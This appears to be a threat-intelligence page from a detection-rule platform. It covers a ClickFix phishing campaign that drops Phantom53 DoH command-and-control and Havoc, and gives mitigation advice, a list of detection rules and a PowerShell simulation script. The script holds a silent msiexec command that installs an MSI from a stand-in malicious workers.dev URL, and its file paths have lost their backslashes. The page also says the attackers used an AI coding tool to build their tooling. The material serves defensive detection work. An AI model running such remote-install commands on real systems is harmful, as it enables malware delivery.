SOC Prime Bias: High

18 Nov 2026 16:47 UTC

XaocMail ClickFix Attacks Target Latin America, Asia, and Europe

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XaocMail ClickFix Attacks Target Latin America, Asia, and Europe
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Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A Russian-speaking threat actor is conducting a multi-stage campaign using an AI-assisted toolkit. The attack chain relies on XaocMail for phishing, Phantom53 for stealthy DNS-over-HTTPS C2, and the Havoc post-exploitation framework for payload execution. The adversary also abuses legitimate Cloudflare infrastructure and DoH resolvers to reduce detection.

Investigation

The SOCRadar Threat Research Unit (STRU) analyzed the campaign’s phishing pipeline, Phantom53 C2 framework, and Havoc Demon payload. Researchers identified signs of AI-assisted development using Claude Code and uncovered a custom DGA designed to improve domain failover and infrastructure resilience.

Mitigation

Organizations should monitor for anomalous DNS-over-HTTPS traffic and suspicious scheduled tasks involving pythonw.exe. Strict controls on MSI execution from web-delivered sources and monitoring for unauthorized Python runtime installations in user directories are recommended. Greater visibility into Cloudflare Worker communications can also improve detection.

Response

When malicious activity is detected, isolate affected endpoints to prevent additional post-exploitation movement. Investigate scheduled tasks and Python virtual environments located in %LOCALAPPDATA% or %APPDATA%. Review network telemetry for connections to known DoH providers and inspect DNS traffic for unusual base36-encoded FQDN patterns.

Attack Flow

Detections

Download or Upload via Powershell (via cmdline)

SOC Prime Team
17 Nov 2026

Suspicious RunMRU Entry With LOLBin Semantics (via registry_event)

SOC Prime Team
16 Nov 2026

Python Execution from Suspicious Folders (via cmdline)

SOC Prime Team
16 Nov 2026

Possible Remote MSI File Installation Attempt (via cmdline)

SOC Prime Team
16 Nov 2026

Suspicious LOLBAS MSHTA Defense Evasion Behavior by Detection of Associated Commands (via process_creation)

SOC Prime Team
16 Nov 2026

Suspicious Scheduled Task (via audit)

SOC Prime Team
16 Nov 2026

Possible Cloudflare Development Domain Abuse (via dns)

SOC Prime Team
16 Nov 2026

IOCs (HashSha256) to detect: XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe

SOC Prime AI Rules
18 Nov 2026

IOCs (SourceIP) to detect: XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe

SOC Prime AI Rules
18 Nov 2026

IOCs (DestinationIP) to detect: XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe

SOC Prime AI Rules
18 Nov 2026

Phantom53 Infection via ClickFix with MSI Execution [Windows Process Creation]

SOC Prime AI Rules
18 Nov 2026
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Simulation Execution

  • Attack Narrative & Commands: The attacker utilizes a “ClickFix” social engineering tactic. The victim is prompted to run a command that invokes msiexec.exe directly from explorer.exe (simulating a user click or manual entry). The command points to a malicious URL hosted on workers.dev. Upon execution, the MSI simulates the installation of a payload that drops pythonw.exe into %AppData%LocalTemp and executes a malicious script named payload.pyw to establish persistence and command-and-control.

  • Regression Test Script:

    # Simulation of Phantom53 ClickFix Delivery
    # Step 1: Simulate msiexec downloading from workers.dev via explorer.exe context
    # We use Start-Process to simulate the trigger from a user shell/explorer context
    $maliciousUrl = "https://malicious-payload.workers.dev/installer.msi"
    Write-Host "[!] Simulating Msiexec download from $maliciousUrl"
    Start-Process "msiexec.exe" -ArgumentList "/q /i $maliciousUrl"
    
    # Step 2: Simulate the dropped payload (pythonw.exe in AppData)
    # We will create a dummy directory and file to match the detection logic
    $appDataPath = "$env:LOCALAPPDATATempMalwareSim"
    if (!(Test-Path $appDataPath)) { New-Item -ItemType Directory -Path $appDataPath }
    
    # Creating a dummy pythonw.exe and a .pyw script
    New-Item -ItemType File -Path "$appDataPathpythonw.exe" -Force
    New-Item -ItemType File -Path "$appDataPathpayload.pyw" -Force
    
    Write-Host "[!] Simulating Pythonw execution from AppData"
    # We trigger svchost.exe to parent pythonw.exe to satisfy selection_pythonw1 logic
    # Note: In a real scenario, the MSI would handle this. Here we simulate the process tree.
    $process = Start-Process -FilePath "$appDataPathpythonw.exe" -ArgumentList "$appDataPathpayload.pyw" -PassThru
    
    Write-Host "[+] Simulation Complete. Check SIEM for alerts."
  • Cleanup Commands:

    # Cleanup simulation artifacts
    Stop-Process -Name "pythonw" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:LOCALAPPDATATempMalwareSim" -Recurse -Force
    Write-Host "[+] Cleanup complete."